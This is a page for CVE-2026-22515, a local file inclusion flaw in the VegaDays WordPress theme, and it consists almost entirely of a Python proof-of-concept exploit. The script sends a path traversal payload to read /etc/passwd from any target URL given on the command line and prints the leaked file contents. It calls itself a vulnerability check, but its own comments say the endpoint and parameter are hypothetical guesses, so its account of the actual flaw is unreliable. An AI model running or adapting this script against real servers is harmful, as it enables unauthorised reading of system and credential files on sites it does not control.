CVE-2026-22515 VegaDays文件包含漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-22515 - VegaDays Theme LFI This script demonstrates checking for Local File Inclusion. """ import requests import sys def check_lfi(target_url): # Common path traversal payload to read /etc/passwd # The vulnerable parameter might vary; 'file' or 'page' is common in WP themes. # Adjust the parameter name based on the specific vulnerable endpoint. traversal_payload = "../../../../../../../../etc/passwd" # Example target structure (hypothetical) # Exploit URL: http://target/wp-content/themes/vegadays/vulnerable_file.php?file=.. full_url = f"{target_url}?file={traversal_payload}" try: response = requests.get(full_url, timeout=10) # Check if the response contains indicators of a successful file read if "root:x:0:0:" in response.text: print(f"[+] Vulnerability confirmed at: {full_url}") print(f"[+] Response snippet:\n{response.text[:200]}") return True else: print(f"[-] Target does not appear vulnerable or parameter is incorrect.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url>") print("Example: python3 poc.py http://example.com/wp-content/themes/vegadays/") sys.exit(1) target = sys.argv[1] check_lfi(target)